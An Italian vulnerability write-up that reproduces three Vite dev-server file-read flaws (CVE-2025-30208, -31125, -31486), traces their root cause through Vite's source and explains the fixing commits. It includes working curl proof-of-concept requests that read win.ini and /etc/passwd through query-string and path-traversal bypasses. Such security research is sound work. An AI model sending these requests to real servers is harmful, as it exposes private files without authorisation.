
Analisi della riproduzione delle vulnerabilità della serie CVE-2025-30208
CVE-2025-30208, CVE-2025-31125 e CVE-2025-31486 sono vulnerabilità di lettura arbitraria dei file nel server di sviluppo Vite. Queste vulnerabilità consentono a un attaccante di aggirare il controllo degli accessi tramite specifici parametri URL e di leggere file sensibili sul server attraverso il modulo fs. Le tre vulnerabilità possono essere considerate una serie, in quanto le cause che le generano sono molto simili.
Versioni interessate da CVE-2025-30208:
>=6.2.0, <=6.2.2
>=6.1.0, <=6.1.1
>=6.0.0, <=6.0.11
>=5.0.0, <=5.4.14
<=4.5.9
Versioni interessate da CVE-2025-31125:
>=6.2.0, <=6.2.3
>=6.1.0, <=6.1.2
>=6.0.0, <=6.0.12
>=5.0.0, <=5.4.15
<=4.5.10
Versioni interessate da CVE-2025-31486:
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
Per allestire da zero un ambiente vulnerabile localmente, creare prima un progetto con create-vite
npm create vite@latest vuln-env -y -- --template vue-ts
cd vuln-env
In questo momento il file package.json generato potrebbe contenere il simbolo ^ nella versione di Vite (ad es. "vite": "^6.2.0"); è necessario modificarlo manualmente in una versione esatta (ad es. "vite": "6.2.0") e quindi eseguire:
npm install
Infine, per avviare l'ambiente:
npm run dev
Naturalmente è anche possibile utilizzare direttamente la cartella vuln-env di questo repository; dopo npm install basta eseguire npm run dev.
Per comodità, la riproduzione delle tre vulnerabilità è stata effettuata con la versione 6.2.0. Eseguire npm run dev e attendere l'avvio dell'ambiente.

CVE-2025-30208 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&raw??"
curl "http://localhost:5173/@fs/c:/windows/win.ini?raw??" -H "sec-fetch-dest: script"

CVE-2025-31125 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&inline=1.wasm?init"
curl "http:/localhost:5173/@fs/c:/windows/win.ini?inline=1.wasm?init" -H "sec-fetch-dest: script"
Il contenuto letto è codificato in base64; dopo la decodifica si ottiene il contenuto originale del file.

CVE-2025-31486 POC
curl "http://localhost:5173/@fs/c:/windows/win.ini?import&?.svg?.wasm?init"
curl "http://localhost:5173/@fs/c:/windows/win.ini?.svg?.wasm?init" -H "sec-fetch-dest: script"
Il POC menzionato nel bollettino per la lettura tramite percorso relativo è il seguente
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
x indica il percorso del progetto locale; il POC utilizzato per il test locale è il seguente
curl "http://localhost:5173/@fs/D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt?import&?raw"
Si può notare che i POC si dividono sostanzialmente in due categorie: quelli che non richiedono l'aggiunta di header HTTP devono contenere ?import&. Per ora non approfondiamo; la questione verrà chiarita nella fase di analisi del codice sorgente.
Per analizzare il codice sorgente è necessario eseguire il debug; qui si utilizza vscode per eseguire il debug del progetto. Il contenuto del file launch.json è il seguente.
{
"version": "0.1.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Vite & Node Modules",
"runtimeExecutable": "npm",
"runtimeArgs": ["run", "dev"],
"skipFiles": ["<node_internals>/**"],
}
]
}
Dalla soluzione di patch ufficiale, la modifica ha rafforzato l'istruzione if nella funzione transformMiddleware che controlla il formato dell'URL e verifica se il servizio è accessibile. Pertanto, impostiamo un punto di interruzione nella funzione transformMiddleware e seguiamo il processo di parsing della richiesta.

Poiché il progetto creato contiene solo file JS compilati, si aggiunge il punto di interruzione cercando direttamente la parola chiave della funzione nell'intero file.

Eseguendo il POC, il debugger si ferma correttamente sulla funzione target. Si può osservare che, dopo l'assegnazione di alcune variabili, il flusso di chiamata entra nella funzione viteTransformMiddleware; dopo aver verificato che il metodo della richiesta sia GET e che la richiesta non riguardi la directory root né l'icona, l'URL subisce l'eliminazione del ? finale tramite removeTimestampQuery.
/@fs/c:/windows/win.ini?import&raw??
⬇
/@fs/c:/windows/win.ini?import&raw?
Tramite cleanUrl() si ottiene l'URL senza i parametri di richiesta; in questo momento il valore di withoutQuery è "/@fs/c:/windows/win.ini", quindi non si entra nel blocco if (!isSourceMap). Successivamente, publicDirInRoot determina se la directory delle risorse statiche è configurata nella directory root del progetto, mentre url.startsWith(publicPath) verifica se l'URL richiesto inizia con il percorso pubblico configurato (ad es. /public/). Quando entrambe le condizioni sono soddisfatte, viene chiamato warnAboutExplicitPublicPathInUrl(url) per emettere un avviso. Ciò indica generalmente che lo sviluppatore potrebbe aver aggiunto erroneamente un percorso pubblico duplicato nel codice. L'URL non soddisfa le condizioni, quindi viene saltato anche questo blocco di codice. I risultati di rawRE.test(url) e urlRE.test(url) sono entrambi False, quindi il risultato dell'espressione logica viene impostato direttamente a False senza valutare ensureServingAccess(), saltando il blocco di codice. Nel successivo controllo if, l'URL soddisfa la forma regex definita da ImportQueryRE e quindi entra nel blocco if; dopo la funzione removeImportQuery(), l'URL diventa /@fs/c:/windows/win.ini?raw e viene passato alla funzione transformRequest().
/@fs/c:/windows/win.ini?import&raw?
⬇
/@fs/c:/windows/win.ini?raw
Nell'istruzione if che verifica isJSRequest(url), si può notare che controlla anche se il valore dell'header HTTP sec-fetch-dest è script; in tal caso il controllo viene superato. Questo è il motivo per cui, come menzionato in precedenza, i POC si dividono sostanzialmente in due categorie: l'aggiunta dell'header HTTP e l'uso di ?import& servono entrambi a superare il controllo dell'istruzione if. (In realtà esistono anche altri metodi per superare il controllo, ad esempio tramite isHTMLProxy(url) -> /@fs/c:/windows/win.ini?html-proxy&raw??)

Dopo l'elaborazione dei parametri, i controlli ambientali, la chiave di cache e il rilevamento delle richieste duplicate, si entra nella funzione doTransform().

Dopo il controllo della validità della cache, l'URL /@fs/c:/windows/win.ini?raw viene analizzato ottenendo l'ID c:/windows/win.ini?raw, quindi si entra nella funzione loadAndTransform().

Allo stesso modo, dopo alcune operazioni di assegnazione, i plugin vengono caricati in base al valore di id. L'ordine di caricamento dei plugin è il seguente
vite:optimized-deps
↓
vite:modulepreload-polyfill
↓
vite:resolve
↓
vite:html-inline-proxy
↓
vite:css
↓
vite:wasm-helper
↓
vite:worker
↓
vite:asset

La causa di CVE-2025-30208 è che l'URL magistralmente costruito dall'attaccante, dopo essere stato analizzato ed elaborato, supera il controllo if (rawRE.test(id)) del plugin assetPlugin e viene passato alla funzione fsp.readFile(), consentendo la lettura di file locali.

La causa di CVE-2025-31125 è invece che l'URL, dopo l'analisi, soddisfa la condizione id.endsWith(".wasm?init") del plugin wasmHelperPlugin; viene quindi passato alla funzione fileToUrl$1(), e una volta soddisfatta inlineRE$2.test(id) viene inviato a fsp.readFile(), causando la lettura di file locali.

CVE-2025-31486 è molto simile a CVE-2025-31125. Dal grafico dell'analisi di CVE-2025-31125 si può vedere che nella funzione fileToDevUrl() ci sono solo due istruzioni if che contengono controlli regex: il blocco if contenente inlineRE$2.test(id) è il punto di innesco di CVE-2025-31125, mentre il blocco if immediatamente successivo con svgExtRE.test(id) è il punto di innesco di CVE-2025-31486.
Il metodo di sfruttamento tramite percorso relativo, invece, aggira il controllo di ensureServingAccess().
Dopo che l'URL entra nella funzione isFileServingAllowed(), cleanUrl() all'interno di fsPathFromUrl() rimuove ?# e tutto ciò che segue. Per l'URL nel POC si verifica quindi la seguente trasformazione:
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/?/../../../../../../test.txt
⬇
D:/PrograEnv/PythonEnv/pocsuite3/CVE-2025-30208/vuln-env/
Successivamente l'URL viene verificato da isUriFilePath() all'interno di isFileLoadingAllowed() e passa quindi il controllo di isParentDirectory().

Dal commit di correzione 262b5ec, la soluzione ufficiale consiste nel rimuovere il ? ridondante alla fine dei parametri. In questo modo, quando i parametri incontrano if ((rawRE.test(...) || urlRE.test(...)) && !ensureServingAccess(...)), poiché rawRE.test() corrisponde correttamente, è possibile entrare regolarmente in ensureServingAccess() e verificare se l'accesso al servizio è consentito, evitando la lettura non autorizzata causata prima della correzione dal cortocircuito dell'espressione logica.

Dal commit di correzione 5967313, il team ufficiale ha aggiunto la regex inlineRE; in questo modo ?inline=1.wasm?init viene intercettato dalla regex e si entra normalmente in ensureServingAccess() per determinare se il servizio è accessibile.

Dal commit di correzione 62d7e81, la correzione ufficiale comprende principalmente due parti: la prima parte aggiunge una regex svgRE per gestire il bypass tramite .svg.

La seconda parte, per gestire la lettura tramite percorso relativo, pulisce il parametro id prima di passarlo a svgRe.test(), in modo che il parametro sottoposto al controllo svgRe.test() sia coerente con quello utilizzato nella concatenazione di file.
